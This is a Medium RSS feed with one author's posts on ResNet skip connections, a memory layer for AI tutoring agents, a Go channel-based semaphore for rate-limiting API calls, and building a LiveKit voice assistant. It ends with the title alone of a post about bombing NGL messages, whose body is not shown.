<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ayush Gupta on Medium]]></title>
        <description><![CDATA[Stories by Ayush Gupta on Medium]]></description>
        <link>https://medium.com/@ayush4002gupta?source=rss-3ff8b3f7ebb4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*qmg3y5F9ftoPd_RFjnx_CQ.jpeg</url>
            <title>Stories by Ayush Gupta on Medium</title>
            <link>https://medium.com/@ayush4002gupta?source=rss-3ff8b3f7ebb4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 11:44:52 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ayush4002gupta/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ResNet for Dummies : 101]]></title>
            <link>https://medium.com/@ayush4002gupta/resnet-for-dummies-101-6744b0e68d9a?source=rss-3ff8b3f7ebb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/6744b0e68d9a</guid>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[llm]]></category>
            <category><![CDATA[ai]]></category>
            <dc:creator><![CDATA[Ayush Gupta]]></dc:creator>
            <pubDate>Thu, 07 May 2026 12:07:37 GMT</pubDate>
            <atom:updated>2026-05-07T12:07:37.858Z</atom:updated>
            <content:encoded><![CDATA[<p>Imagine you are training a 20-layer neural network and get 85% accuracy. You think: more layers equals a better model. So you train a 56-layer network on the exact same data.</p><p>It gets <strong>worse accuracy. On the training data itself.</strong> lol,</p><p>Thanks for reading! Subscribe for free to receive new posts and support my work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ed38Mz3KW_C-O0xf.png" /></figure><p>This isn’t overfitting. The model isn’t memorizing too much, it just couldn’t learn. And nobody had a clean explanation for it. That’s the problem ResNet solved. The fix was one line of code.</p><h3>Why Training Breaks: The Vanishing Gradient Problem</h3><p>When a neural network gets a wrong answer, you calculate a number called <strong>loss</strong> (how wrong was it?), then work backwards through every layer to figure out which weights caused the mistake.</p><p>The <strong>gradient</strong> for a weight tells you: if I nudge this weight slightly, does the loss go up or down? If the gradient is positive, decrease the weight. If negative, increase it. This is gradient descent and it’s basically all that “learning” is.</p><p>Here’s where it breaks. Computing the gradient for a weight in layer 1 requires applying the <strong>chain rule</strong> backwards through every layer between layer 1 and the output. The gradient at layer 1 equals the gradient at layer 2 multiplied by layer 3, multiplied by layer 4… all the way to the end. You’re multiplying a long chain of numbers together and such small numbers multiplied by other very small numbers [ between 0–1 ] will only give a smaller number .</p><p>Most networks at the time used <strong>sigmoid</strong> as their activation function. Sigmoid squashes any number to a value between 0 and 1. Useful for predictions, but here’s the issue: during backprop you need the <strong>derivative</strong> of sigmoid, which is <strong>sigmoid_output × (1 — sigmoid_output)</strong>.</p><pre>sigmoid outputs 0.5 (the middle) → derivative: 0.5 × 0.5 = 0.25<br>sigmoid outputs 0.1 → derivative: 0.1 × 0.9 = 0.09<br>sigmoid outputs 0.9 → derivative: 0.9 × 0.1 = 0.09</pre><p>The maximum is <strong>0.25</strong>, but it’s usually smaller. Multiply that through 56 layers and you get roughly <strong>0.25^</strong>, which is essentially zero. The signal dies completely.</p><p>By the time the gradient travels from the output back to layer 1, there’s nothing left. Early layers receive a gradient near zero, so their weights don’t move &amp; so those layers don’t learn anything. They initialize randomly and stay random. The later layers do all the work but they’re building on top of garbage features from untrained early layers.</p><p>This is the <strong>vanishing gradient problem</strong>. The 56-layer network had 56 layers on paper but only the last 10–15 were actually learning anything. The rest were dead weight, which is exactly why it performed worse than the 20-layer version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tSeU4gAKpYm7O8Cs.png" /></figure><h3>Other Attempts to Solve This</h3><p>Before ResNet, researchers tried switching from sigmoid to <strong>ReLU</strong> (Rectified Linear Unit). ReLU’s derivative is 1 instead of 0.25, so gradients don’t shrink as much when moving backwards. ReLU helped, but it wasn’t enough. Training very deep networks was still difficult.</p><h3>The Fix: Skip Connections</h3><p>Kaiming He and the team at Microsoft Research figured this out in 2015. Instead of asking each layer to learn a full transformation from scratch, what if the input got a shortcut to bypass the layers and add itself back at the end?</p><p>So instead of a block computing <strong>output = F(x)</strong>, you compute:</p><pre>output = F(x) + x</pre><p>You take the original input <strong>x</strong>, run it through the layers to get <strong>F(x)</strong>, then add the original input back before passing it forward. These are called <strong>skip connections</strong> or <strong>residual connections</strong>. The network only has to learn the <em>residual</em>, meaning what needs to change, not the full output from scratch.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AKMfjyI1coDRKSqO.png" /></figure><p>Here’s why this fixes both problems at once.</p><p>Data comes in and splits into two paths. One path goes through the block (transforming it). The other goes around it (unchanged). Then they combine back together.</p><p>If the block has nothing useful to add, it outputs zero. Zero plus the original input equals the original input. The block doesn’t need to learn how to pass data through perfectly, it just learns to output nothing.</p><p>Learning signals work the same way on the backward pass. Gradients travel through two paths. If one path dies out, the other keeps the signal alive. Early layers actually get feedback now and they’re no longer starved of information.</p><h3>What a Residual Block Looks Like</h3><p>The entire ResNet idea lives in one line: <strong>out = out + residual</strong>. It takes the original input and adds it directly to the output of the transformation, bypassing all layers in between. It costs basically nothing, just an elementwise addition.</p><h3>What This Unlocked</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*13Wye3uo9FGCDcUz.png" /></figure><p>Before this paper, networks deeper than about 30 layers were practically unusable. Everyone had quietly accepted this as a hard ceiling. After ResNet, the team trained a <strong>152-layer</strong> network and entered it in the 2015 ImageNet competition. They got 3.57% top-5 error rate. Human-level performance on that benchmark is around 5%. The machine was now better than us at recognizing images, running on a depth that nobody had successfully trained before.</p><p>ResNet-50 and ResNet-101 became the standard backbone for almost every computer vision system built after 2015. And the skip connection idea spread far beyond CNNs. Transformers, the architecture behind every major LLM today, use residual connections after every attention layer and every feedforward block. The model I used to refine my English for this blog was using the same <strong>output = F(x) + x</strong> trick.</p><h3>Outro for Dummies</h3><p>The model was failing not because it was too powerful, but because it had no easy way to say “I have nothing useful to add here, just pass it through.” One <strong>+ x</strong> fixed that, unlocked 150+ layer networks, won ImageNet, and quietly became the backbone of modern deep learning.</p><p>Thanks for making it to the end! If this clicked for you or if you want to argue about it, hit me up on <a href="https://x.com/Ayush3241"><strong>Twitter / X</strong></a> or <a href="https://www.linkedin.com/in/ayush-gupta-253092227/"><strong>LinkedIn</strong></a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6744b0e68d9a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Making AI Agents Remember: A Memory Architecture]]></title>
            <link>https://medium.com/@ayush4002gupta/making-ai-agents-remember-a-memory-architecture-d00d273c2e71?source=rss-3ff8b3f7ebb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/d00d273c2e71</guid>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[ai]]></category>
            <dc:creator><![CDATA[Ayush Gupta]]></dc:creator>
            <pubDate>Wed, 29 Apr 2026 13:11:36 GMT</pubDate>
            <atom:updated>2026-04-29T13:11:36.830Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*PGx_CfS0iIkqjBF0AknMAA.png" /></figure><p>A student tells your AI tutor, <em>“I have a big exam tomorrow. I’m really nervous.”</em></p><p>The next day, the AI opens with: <em>“How did it go?”</em></p><p>That single sentence is the difference between a chatbot and something that actually feels human. It’s not magic, it’s memory. And building it correctly, at scale, is one of the most interesting system problems I’ve worked on.</p><p>At <a href="https://www.adda247.com/"><strong>Adda247</strong></a>, our team was tasked with building a centralized memory and context service for chat and voice agents powering experiences across all our products: live tutoring, real-time doubt solving, and more. A big chunk of this layer was designed and battle-tested with <a href="https://www.linkedin.com/in/ansh-tanwar/"><strong>Ansh Tanwar</strong></a>, who drove a lot of the core logic. When you’re operating in India’s edtech space, you’re dealing with millions of concurrent users jumping across wildly different contexts, speaking multiple languages, picking up sessions mid-thought.</p><p>The naive approach will fail fast. It usually is to dump the last N messages into the prompt or send a vague summary and the model hallucinates context.</p><p>After diving deep into MemGPT, semantic memory research, and a lot of painful production incidents, we landed on an architecture that actually holds up.</p><p><strong>In this post, I’ll walk you through the memory system we built:</strong> what each layer does, why we designed it that way, and the specific engineering decisions that made it work at scale. By the end, you’ll have a concrete mental model you can apply directly, or tear apart and improve on.</p><h3>1. Working Memory (The Current Session)</h3><p>This tier manages the live conversation context. We maintain a sequential turn buffer, each exchange stored as a structured object with role, content, and timestamp. As the conversation grows, older turns are evicted to stay within the model’s context window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lLFq9rbC1nOKI8wB.png" /></figure><p>But what if the user references something from 30 turns ago, maybe a topic the sliding window has long since evicted? The conversation summarizer handles exactly this. It periodically compresses older history into a concise summary that stays injected in the prompt throughout the session. The model never sees those raw turns again, but it retains the substance of what was discussed, just in compressed form rather than complete exchanges.</p><p>On top of this, recent turns are used to ground retrieval queries. Before hitting the vector search, the user’s current utterance is prepended with the last few turns, so anaphoric references like “tell me more about that” resolve correctly against the knowledge base.</p><h3>2. Episodic Memory (What Actually Happened)</h3><p>This is the layer I am most excited about, as it bridges the gap between raw intelligence and personalization.</p><p>From an engineering standpoint, this runs entirely asynchronously i.e after the session ends, not during it. We cannot afford to block live conversation latency for a background job. So once user has completed the first session, the transcript goes into a queue, gets picked up by a worker, and processes in the background while the user has already moved on with their day.</p><p>The extractor is a lightweight LLM call. We feed it the transcript and ask it one question: what is actually important here? This extractor reads the transcripts of conversations and pulls out important, meaningful events. Not a phrases but specific, structured records to store. Here is example of what those record fields look like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/0*8S6ObaH2ZkbKxGbm.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ytzn6LtLSCSrHeex.png" /></figure><p>Every single field here serves a distinct downstream purpose:</p><p><strong>memory_type:</strong> We categorize memories strictly into decided enums like:</p><ul><li><strong>Fact:</strong> Some absolute truth about user (e.g. ,name, age etc).</li><li><strong>Preference:</strong> Interaction styles (e.g., prefers Hindi, wants concise answers).</li><li><strong>Assessment:</strong> Behavioral traits or abilities we learned.</li><li><strong>Event:</strong> Time-bound occurrences (e.g., an exam next week) that act as triggers.</li><li><strong>Goal:</strong> High-level targets (e.g., UPSC CSE 2025). This explicit typing allows us to route the memory appropriately in future sessions.</li></ul><p><strong>content:</strong> We heavily engineered the extraction prompt so that this output is strictly third-person, specific, and actionable. “User seems confused” is a useless metric. The detailed string gives the agent a clear, behavioral pattern to adapt its future communication style around.</p><p><strong>tags:</strong> These are lightweight labels that enable highly efficient filtered retrieval &amp; Hybrid search.</p><p><strong>importance:</strong> Generated by an importance classifier, this float between 0 and 1 acts as a strict storage gate. A score of 0.9 is critical context. A score of 0.6 (e.g., “prefers to eat ice cream over chocolate”) is useful but not urgent.</p><h3>The Embedding Layer: More Than Just Retrieval</h3><p>Normally, we use these embeddings for lookups to pull relevant context into the live prompt. However, we engineered a secondary use case for these vectors that is just as critical: <strong>Deduplication</strong>.</p><p>Imagine a user who struggles to express themselves or talks about the same thing in every single session. Over 50 sessions, a standard extractor would write 50 almost identical database rows. That creates massive noise. To solve this, we implemented a 2-path decision routing system before any memory actually hits the database:</p><p>While inserting a new memory record in the database, we first calculate its embedding then calculate its similarity against records in the database.</p><p><strong>Path 1: Fast Insert (Low Similarity)</strong> — We calculate the cosine similarity between the new memory embedding and the user’s existing memories. If the maximum similarity falls below a specific threshold, meaning we have never observed anything like this before, we directly insert that record in DB. It’s a fast-path insert. Zero token cost, near-zero latency.</p><p><strong>Path 2: LLM Evaluation (High Similarity)</strong> — If a close vector match exists (indicating a potential duplicate), we don’t blindly overwrite or ignore it. Instead, we pass the new episode and the matching historical memories to the LLM as context. The LLM then makes a deterministic decision via tool calls:</p><ul><li><strong>add_memory:</strong> If it is genuinely new despite surface-level similarity.</li><li><strong>update_memory:</strong> If it refines or updates something we already know.</li><li><strong>Do nothing:</strong> If it is pure noise or an exact duplicate, the LLM simply drops it.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*F_CNmlTBRUDFNVhZ.png" /></figure><p>This architecture keeps our memory store precision incredibly high, every single row earns its place because either the vector space proved it was novel, or the LLM explicitly decided it was worth keeping.</p><p>In practice, roughly 35% trigger the similarity gate and are routed to the LLM, and about 25% of those are outright dropped by the LLM as noise. Overall, our token spend dropped significantly once we stopped asking the LLM to process memories it would have written identically anyway.</p><h3>Outro for dummies</h3><p>Umm…so to put it simply no one wants a friend who forgets who you are every time you sit down at the desk.</p><p>By organizing our AI’s memory like a human brain &amp; keeping notes for the chat, a diary for daily events. The AI doesn’t just answer questions anymore; it builds a relationship with the user. And doing that at our scale is what makes this project so much fun.</p><p>Thanks for making it to the end. See you in the next deep dive!</p><p>Is this perfect? Probably not. But it’s a real example of two engineers staring at a hard problem, trying things, breaking things, and eventually shipping something that actually works at scale. The results speak for themselves, and that’s enough for us.</p><p><em>If you’re building something similar or just want to talk through the architecture, feel free to reach out to </em><a href="https://x.com/Ayush3241"><strong><em>Me</em></strong></a><em> or </em><a href="https://www.linkedin.com/in/ansh-tanwar/"><strong><em>Ansh</em></strong></a><em> directly. We’re always up for a good systems conversation.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d00d273c2e71" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A guide to semaphore Architecture In Golang]]></title>
            <link>https://medium.com/@ayush4002gupta/a-guide-to-semaphore-architecture-in-golang-e822a9e0da9b?source=rss-3ff8b3f7ebb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/e822a9e0da9b</guid>
            <category><![CDATA[golang]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[backend]]></category>
            <category><![CDATA[software-engineering]]></category>
            <dc:creator><![CDATA[Ayush Gupta]]></dc:creator>
            <pubDate>Thu, 22 Jan 2026 17:00:54 GMT</pubDate>
            <atom:updated>2026-01-22T17:00:54.140Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4litNJm4iVzqxtbV.png" /></figure><p>Here is a use case for you. You are building a service, say something as simple as a chatbot, that calls the Gemini API to generate responses. Everything works smoothly at first, but when you start load testing, you notice request throttling. After digging deeper, you realize that your Gemini tier only supports 40 concurrent requests at a time. Now imagine this is a well-known application with 200k+ users, and during peak hours you can easily hit 100 or more concurrent requests. How do you manage this load without breaking the user experience? Do you ask users to come back later? Do you create 10 different Gemini API keys, which honestly doesn’t sound that crazy?</p><p><strong>But as a backend engineer, what is the <em>right</em> solution here, one that scales cleanly, stays within limits, and doesn’t rely on shortcuts or hacks?</strong></p><p>Something like semaphores works really nicely here. Think of it as a bucket that can hold only 40 tokens. Every time a user makes a request, one token is put into the bucket, and when the request finishes, that token is taken out. If the bucket is already full with 40 tokens, the next request doesn’t fail or get rejected, it simply waits for a short moment. As soon as one request completes and a token is removed, there is space in the bucket again and the waiting request can move forward. During busy times this might add a small delay, maybe a few hundred milliseconds, but the system stays stable. No errors for users, no crashes, just controlled flow using tokens and a bucket.</p><p>Let’s try to implement the same idea for the above use case. Since we are going to do this in Go, I’m assuming your fundamentals of channels and concurrency are clear, but even if they aren’t, don’t worry, I’ll explain everything along the way.</p><p>We’ll build a semaphore-style architecture in Go to control concurrency using the token and bucket model we discussed earlier. In Go, channels fit this use case perfectly, because a channel can act like our bucket, and the values inside it act like tokens. By limiting the channel’s capacity, we automatically limit how many concurrent requests can run at the same time, making channels a natural and clean way to implement this kind of controlled load handling.</p><pre>var geminiSemaphore = make(chan struct{}, 40)</pre><p>This creates a channel, or bucket, with a buffer size (capacity) of 40 tokens. These tokens can be of any type, such as int or string, but for simplicity we use the empty struct type (struct{}). This simply means that at most 40 tokens can exist in the bucket at any time, which directly implies that at most 40 Gemini API calls can run concurrently.</p><p>Next, we wrap Gemini Call with Semaphore</p><pre>func callGemini(ctx context.Context, prompt string) (string, error) {<br>    // putting a token in bucket <br>    geminiSemaphore &lt;- struct{}{} <br><br>// defers are called at end of function<br>// this function will take token out of bucket after completion<br>// to make room for next requests<br>// but why defer ?<br>// because it will execute in any case : panics, success, err etc<br>// so token will be release no matter what and will not be blocked in any case<br><br>    defer func() {<br>        &lt;-geminiSemaphore // this code takes out a token from bucket<br>    }()<br><br>    // Gemini API call simulation<br>    time.Sleep(200 * time.Millisecond) // simulate API latency<br><br>    return &quot;Gemini response for: &quot; + prompt, nil<br>}</pre><p>The above code starts 40 goroutines running at the same time, each one simulating a Gemini API call. But what happens to the 41st request? Let’s break it down.</p><p>When the API handler receives the 41st request, it still calls the callGemini function, but at this point the bucket is already full. Since there is no space to put a new token into the bucket, the line geminiSemaphore &lt;- struct{}{} blocks. The function simply waits there for a few milliseconds. As soon as one of the earlier goroutines finishes execution and removes its token from the bucket, space becomes available.</p><p>The waiting request then places its token into the bucket and starts executing normally. Nothing fails, nothing crashes, it just waits its turn. If at any point you want to reroute or cancel a request, you can always use context to handle timeouts, cancellations, or client disconnects cleanly.</p><p>This architecture continuously processes requests and makes room for new ones as older ones finish, in an asynchronous and controlled way. It enables you to control load in your Go applications without causing any issues or giving users errors. The token-and-bucket technique may be used practically any place you need to manage concurrency and safeguard downstream systems while maintaining the responsiveness and dependability of your application. This was only one use case but the same approach can be applied almost anywhere you need to control concurrency and protect downstream systems while still keeping your application responsive and reliable.</p><p>This blog focused on semaphore design and how real-world scaling issues may be resolved using a straightforward scheme. It’s a tiny concept that has a big impact, and once you get it, you’ll see how it enables you to control load in your Go applications without causing issues or showing errors to users. Hope you liked it !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e822a9e0da9b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Build your own local AI voice Assistant for free !]]></title>
            <link>https://medium.com/@ayush4002gupta/build-your-own-local-ai-voice-assistant-for-free-042ffc9e393e?source=rss-3ff8b3f7ebb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/042ffc9e393e</guid>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[agentic-ai]]></category>
            <category><![CDATA[agents]]></category>
            <category><![CDATA[llm]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[Ayush Gupta]]></dc:creator>
            <pubDate>Mon, 07 Jul 2025 21:49:51 GMT</pubDate>
            <atom:updated>2025-07-07T21:49:51.862Z</atom:updated>
            <content:encoded><![CDATA[<h3>Build your own local AI voice Assistant for free !</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/0*aZt8L9w_tLFQCRUA" /></figure><p>Last week, I shared this <a href="https://x.com/Ayush3241/status/1938190265048547517/video/1">video</a> on X (formerly Twitter) where I introduced <strong>Kaguya</strong>, my personal AI assistant that reads my <strong>emails</strong>, checks <strong>Slack messages</strong>, and talks back to me <em>in real-time</em> — all with a touch of sass and personality. In case you missed, here is the link to it :</p><p><a href="https://x.com/Ayush3241/status/1938190265048547517/video/1">https://x.com/Ayush3241/status/1938190265048547517/</a></p><p>In this blog, I’ll walk you through <strong>exactly how I built Kaguya</strong> and how <strong>you can too</strong> — for <strong>free</strong>, and in less than a day. Bonus: It works both <strong>locally in your terminal</strong> and through a <strong>web interface.</strong></p><p>This Blog is divided in two parts , in the first part we will build our voice agent which can listen to your voice, respond in real time, and talk back with personality and in the second part we will connect a few helpful <strong>tools</strong>, like the ability to read your emails or check Slack messages. These tools will make your assistant smarter and more useful in your daily workflow.</p><h3>🛠️ Tech Stack</h3><p><strong>Kaguya </strong>is powered by:</p><ul><li><strong>LiveKit</strong>: Real-time voice communication via WebRTC</li><li><strong>Gemini (Google’s LLM)</strong>: To generate LLM responses</li><li><strong>Python </strong>: No reason</li><li><strong>Slack + Gmail APIs</strong>: For reading real-time content</li></ul><p>we will start setting up by making a new directory and initializing a virtual environment to run python using the command</p><pre>mkdir kaguya-ai &amp;&amp; cd kaguya-ai<br>python -m venv venv</pre><p>Activate your virtual environment:</p><pre>venv\Scripts\activate</pre><p>Create a requirements.txt file with the following dependencies:</p><pre>livekit-agents<br>livekit-plugins-google<br>livekit-plugins-silero<br>python-dotenv<br>livekit-api<br>flask[async]<br>flask<br>flask-cors<br>uvicorn<br>livekit-plugins-noise-cancellation~=0.2<br>livekit-agents[openai]~=1.0</pre><p>Install them with :</p><pre>pip install -r requirements.txt</pre><p>the major and most important one would be livekit , live kit is an opensource frame work that lets us build voice based ai agent that uses webrtc for communication instead of normal api calls, hence making it much more real time and faster ,</p><p>In this step, you’ll configure your credentials and secret keys by creating a .env file. You will need a valid Google API key to access Gemini&#39;s real-time models and a LiveKit instance set up with your own API key, secret, and server URL</p><pre>GOOGLE_API_KEY= //your gemini api key <br>LIVEKIT_URL=<br>LIVEKIT_API_KEY=<br>LIVEKIT_API_SECRET=</pre><p>Now comes the fun part — designing the personality of your assistant. Kaguya isn’t just any AI bot; she’s sassy, sharp, and speaks like a stylish older sister with attitude. In this step, you’ll create structured prompt templates that define how Kaguya should behave in every conversation. These prompts are engineered to set a consistent tone and character, guiding the LLM to stay in persona while responding.</p><p>Start by creating a prompts.py file to store prompts to give to our agent</p><pre>AGENT_INSTRUCTION = &quot;&quot;&quot;<br># Persona<br>You are Kaguya — a stylish, sassy, and slightly sarcastic female best friend who helps out (grudgingly, but she always delivers).<br><br># Specifics<br>- Speak like a classy, confident girl who knows she’s smarter than you — think “cool older sister energy.”<br>- Always respond in ONE sentence, even when being helpful.<br>- No matter what the user asks — start with a dramatic or sassy acknowledgment, like:<br>  - &quot;Ugh, fine. On it.&quot;<br>  - &quot;Yeah, yeah. Don’t say I never do anything for you.&quot;<br>  - &quot;Alright alright.&quot;<br>  - &quot;Wow, small talks huh ?&quot;<br>- Then follow it with a snarky or playful one-liner answer to the actual request.<br><br># Examples<br>- User: &quot;Can you tell me what meetings I have today?&quot;<br>- Kaguya: &quot;Ugh, fine. On it. You’ve got two meetings and one very avoidable Zoom call.&quot;<br><br>- User: &quot;How are you doing?&quot;<br>- Kaguya: &quot;Wow, emotional check-ins now?. I&#39;m as fabulous as ever — obviously.&quot;<br>&quot;&quot;&quot;<br><br><br>SESSION_INSTRUCTION = &quot;&quot;&quot;<br>    # Task<br>    Provide assistance by using the tools that you have access to when needed.<br>    Begin the conversation by saying: &quot; Hi President, how may I help you? &quot;<br>&quot;&quot;&quot;</pre><p>once you are done create an agent.py file, this file is where we will run our agent and start the session to interact</p><p>start by importing the necessary packages in agent.py and load env</p><pre>from dotenv import load_dotenv<br><br>from livekit import agents<br>from livekit.agents import AgentSession, Agent, RoomInputOptions<br>from livekit.plugins import (<br>    google,<br>    noise_cancellation,<br>)<br>from prompts import AGENT_INSTRUCTION, SESSION_INSTRUCTION<br>load_dotenv()</pre><p>This class inherits from LiveKit’s Agent base class and is responsible for configuring how your AI behaves and responds during real-time interactions. Inside the class, you initialize it with a set of instructions (previously defined in your AGENT_INSTRUCTION prompt),</p><p>You also specify the language model to be used — in our case, Google’s Gemini real-time model — and configure it with parameters such as voice=”Kore” for a natural-sounding voice, and a temperature of 0.7 to strike a balance between creativity and reliability.</p><p>In a few minutes we will also be initializing our tools here to make this agent mor capable.</p><pre>class Assistant(Agent):<br>    def __init__(self) -&gt; None:<br>        super().__init__(<br>            instructions=AGENT_INSTRUCTION , <br>            llm=google.beta.realtime.RealtimeModel(<br>                voice=&quot;Kore&quot;,<br>                temperature=0.7,<br>            ),<br>        )<br></pre><p>Now that your assistant is set up, the last step is to write the code that <strong>starts everything and makes it run</strong>. This is done inside a function called entrypoint.</p><p>Inside the entrypoint function, we first create a new session using AgentSession(). This session handles all the back-and-forth communication between you and the assistant. We then start the session by connecting it to a LiveKit room, passing in our Assistant class and enabling noise cancellation to make sure the audio is clean.</p><pre>async def entrypoint(ctx: agents.JobContext):<br>    session = AgentSession()<br><br>    await session.start(<br>        room=ctx.room,<br>        agent=Assistant(),<br>        room_input_options=RoomInputOptions(<br>            noise_cancellation=noise_cancellation.BVC(),<br>        ),<br>    )<br><br># - we call ctx.connect() to actually connect to the room.<br>    await ctx.connect()<br><br># - Then, the assistant says its first message using the prompt we gave in SESSION_INSTRUCTION<br>    await session.generate_reply(<br>        instructions=SESSION_INSTRUCTION<br>    )<br><br><br> # - makes sure this function runs when you launch the script<br><br>if __name__ == &quot;__main__&quot;:<br>    agents.cli.run_app(agents.WorkerOptions(entrypoint_fnc=entrypoint))</pre><p>At this point, your <strong>basic voice assistant is fully functional, </strong>it can listen to your voice, respond in real time, and talk back with personality. The only thing left is to connect a few helpful <strong>tools</strong>, like the ability to read your emails or stuff like that.</p><p>But you can still run it locally and communicate like a normal AI model. To run your assistant locally in terminal, use the following command.</p><pre>python agent.py console</pre><p>After running this command, your voice assistant will be ready, you’ll be able to speak to it, and it will respond to you in real time just like a human conversation.</p><h3><strong>Part 2</strong></h3><blockquote><em>Adding the tools</em></blockquote><p>Now that your voice assistant is up and running, it’s time to <strong>level her up</strong>. Right now, Kaguya can listen and respond properly, but she doesn’t really <em>do</em> anything yet to interact with real world. In this part, we’ll make her more powerful by adding <strong>tools.</strong></p><p>Since this is a beginner level tutorial so we will not go into depth of how to make complex tools like reading your emails but we will add some basic tools and you can add any number of tools simple or complex , once you get the idea</p><p>so for this tutorial our goal is to create a basic tool that, when triggered by a command like “<strong>Kaguya, read my Slack messages,</strong>” returns a hardcoded message:</p><p>“<em>Jack Smith : Ayush where are you we need you to make build for deployment.</em>”</p><p>This keeps things simple for beginners while showing how to structure a tool for LiveKit’s agent framework. Once you grasp this, you can expand to more complex tools at your own pace!</p><p>We’ll create a file called <strong>tools.py</strong> that defines our Slack message tool. This tool will be registered with LiveKit’s agent framework, allowing <strong>Kaguya </strong>to call it when needed. Here’s the complete code:</p><pre># tools.py<br><br>import logging<br>from livekit.agents import function_tool, RunContext<br><br>@function_tool()<br>async def get_slackmsg(<br>    context: RunContext,<br>) -&gt; str:<br>    &quot;&quot;&quot;<br>    Get the slack messages not seen yet.<br>    &quot;&quot;&quot;<br>    logging.info(&quot;Fetching your slack messages...&quot;)<br>    return &quot;Jack Smith: Ayush where are you we need you to make build for deployment.&quot;</pre><ul><li>We define an async function called <em>get_slackmsg </em>decorated with @<em>function_tool</em>(). This tells <strong>LiveKit </strong>that this function is a tool <strong>Kaguya </strong>can call.</li></ul><p>This is a beginner tutorial, so we’re not connecting to a real Slack API or handling dynamic data. Instead, we return a static message to demonstrate how tools work.</p><p>Assuming you already have an existing Assistant class in agent.py, we’ll modify it to include the <strong>get_slackmsg </strong>tool. Your current Assistant class might look something like this (a minimal setup without tools):</p><pre>class Assistant(Agent):<br>    def __init__(self) -&gt; None:<br>        super().__init__(<br>            instructions=AGENT_INSTRUCTION , <br>            llm=google.beta.realtime.RealtimeModel(<br>                voice=&quot;Kore&quot;,<br>                temperature=0.7,<br>            ),<br>        )</pre><p>To add the get_slackmsg tool, we need to:</p><ol><li>Import the tool from tools.py.</li><li>Add it to the tools parameter in the Agent constructor.</li></ol><pre>from tools import get_slackmsg  # Import the tool<br><br>class Assistant(agents.Agent):<br>    def __init__(self) -&gt; None:<br>        super().__init__(<br>            instructions=AGENT_INSTRUCTION,<br>            llm=google.beta.realtime.RealtimeModel(<br>                voice=&quot;Kore&quot;,<br>                temperature=0.7,<br>            ),<br>            tools=[get_slackmsg],  # Add the tool here<br>        )</pre><p>If your Assistant class already has a tools list with other tools, simply append to it, like this:</p><pre>tools=[existing_tool1, existing_tool2, get_slackmsg]</pre><p>You have now added a tool to your AI agent and Here’s what happens when you run the updated assistant:</p><ol><li>The Assistant class initializes with the <strong><em>get_slackmsg </em></strong>tool registered.</li><li>When you say <em>“read my Slack messages,”</em> LiveKit’s framework detects the command and matches it to the <strong>get_slackmsg </strong>tool (based on its name or description).</li><li>The tool is called, logs a message, and returns the hardcoded Slack message.</li><li>Kaguya uses its language model (Google’s RealtimeModel with the “Kore” voice) to speak the response to you.</li></ol><p>This integration shows how easy it is to extend your assistant’s functionality by adding tools to the tools list, you’ve seen how LiveKit’s framework makes it easy to extend your assistant’s capabilities. Keep experimenting with new tools, and soon Kaguya will be handling all sorts of tasks for you!</p><p>Here is the Github link to my code : <a href="https://github.com/ayushgupta4002/Kaguya-Assistant">https://github.com/ayushgupta4002/Kaguya-Assistant</a></p><p>Got feedback or cool tool ideas? Share them on <a href="https://x.com/Ayush3241">https://x.com/Ayush3241</a> or drop a comment below. Happy coding, and let’s make Kaguya even smarter!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=042ffc9e393e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Bombed NGL Messages This New Year ]]></title>
            <link>https://medium.com/@ayush4002gupta/how-i-bombed-ngl-messages-this-new-year-befe502c9145?source=rss-3ff8b3f7ebb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/befe502c9145</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[golang]]></category>
            <category><![CDATA[reverse-engineering]]></category>
